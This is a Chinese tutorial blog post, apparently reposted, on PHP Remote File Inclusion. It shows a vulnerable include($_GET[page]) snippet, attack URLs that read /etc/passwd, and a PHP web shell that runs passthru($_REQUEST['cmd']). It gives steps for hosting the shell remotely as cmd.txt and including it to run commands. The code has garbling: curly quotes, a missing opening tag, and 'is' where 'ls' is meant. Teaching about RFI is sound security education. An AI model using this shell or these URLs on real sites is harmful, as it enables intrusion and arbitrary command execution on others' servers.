RFI远程文件包含的漏洞

RFI(Remote File Inclusion) 远程文件包含漏洞,即服务器通过PHP的特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定
的恶意文件达到攻击目的。
文件包含的目的
程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在
其他文件中包含调用代码的文件。
PHP中常用的包含调用函数有:
include(), require(), include_once(), require_once() .
include失败会弹出警告 而require则直接导致致命的错误
本地包含与远程包含
Include(“reg.php”)
If ($_GET [page]) {
Include $_GET [page];
} else {
Include “home.php”;
}

http://www.***.cn/php/main.php?page=reg.php
main.php 取得page值,执行“($_GET[page])”
如果page的值为空则包涵home.php否则include这就是本地包含
http://www.***.cn/php/main.php?page=http://www.***.cn/index.php
http://www.***.cn/index.php是一个远程的URL链接地址
这就是远程文件包含PHP配置文件中,allow_url_fopen默认是激活的

构造包含变量,产生包含漏洞 http://www.***.cn/php/main.php?page=why.php
如果why.php是并不存在的文件,那么include便会报错从而暴露出网站的物理路径
远程文件包含漏洞的利用---构造一个远程的php代码文件,传递到服务器上去
执行,以实现远程攻击的目的,这个也就是所谓的远程包含漏洞攻击了
1) 读取目标主机重要文件 可以使用…/…进行目录跳转
http://www.***.cn/php/main.php?page=/etc/passwd
2) 包含PHP木马,获得shellcode

If (get_magic_quote_gpc())
{$_REQUEST[“cmd”]=stripslashes($_REQUEST[“cmd”]);} //去掉字符串中的反斜线
Ini_set(“max_execution_time”,0) //不限制执行时间
Echo “
Binghe
"; //
Passthru($_REQUEST[“cmd”]); //运行cmd制定的命令
Echo “
Binghe
"; //
?>


这段php代码的意思是接受cmd制定的命令,调用passthru函数来执行binghe
把上面的代码保存为cmd.txt并存放在每个可以通过http访问的服务器上面
http://www.***.cn/cmd.txt
http://www.***.cn/php/main.php?page=http://www.***.cn/cmd.txt?cmd=ls
is是cmd的命令是查看,列目录,文件的意思,也可以使用其他的命令,然后就可以看到返回的结果了。

转载于:https://www.cnblogs.com/mujj/articles/3430576.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值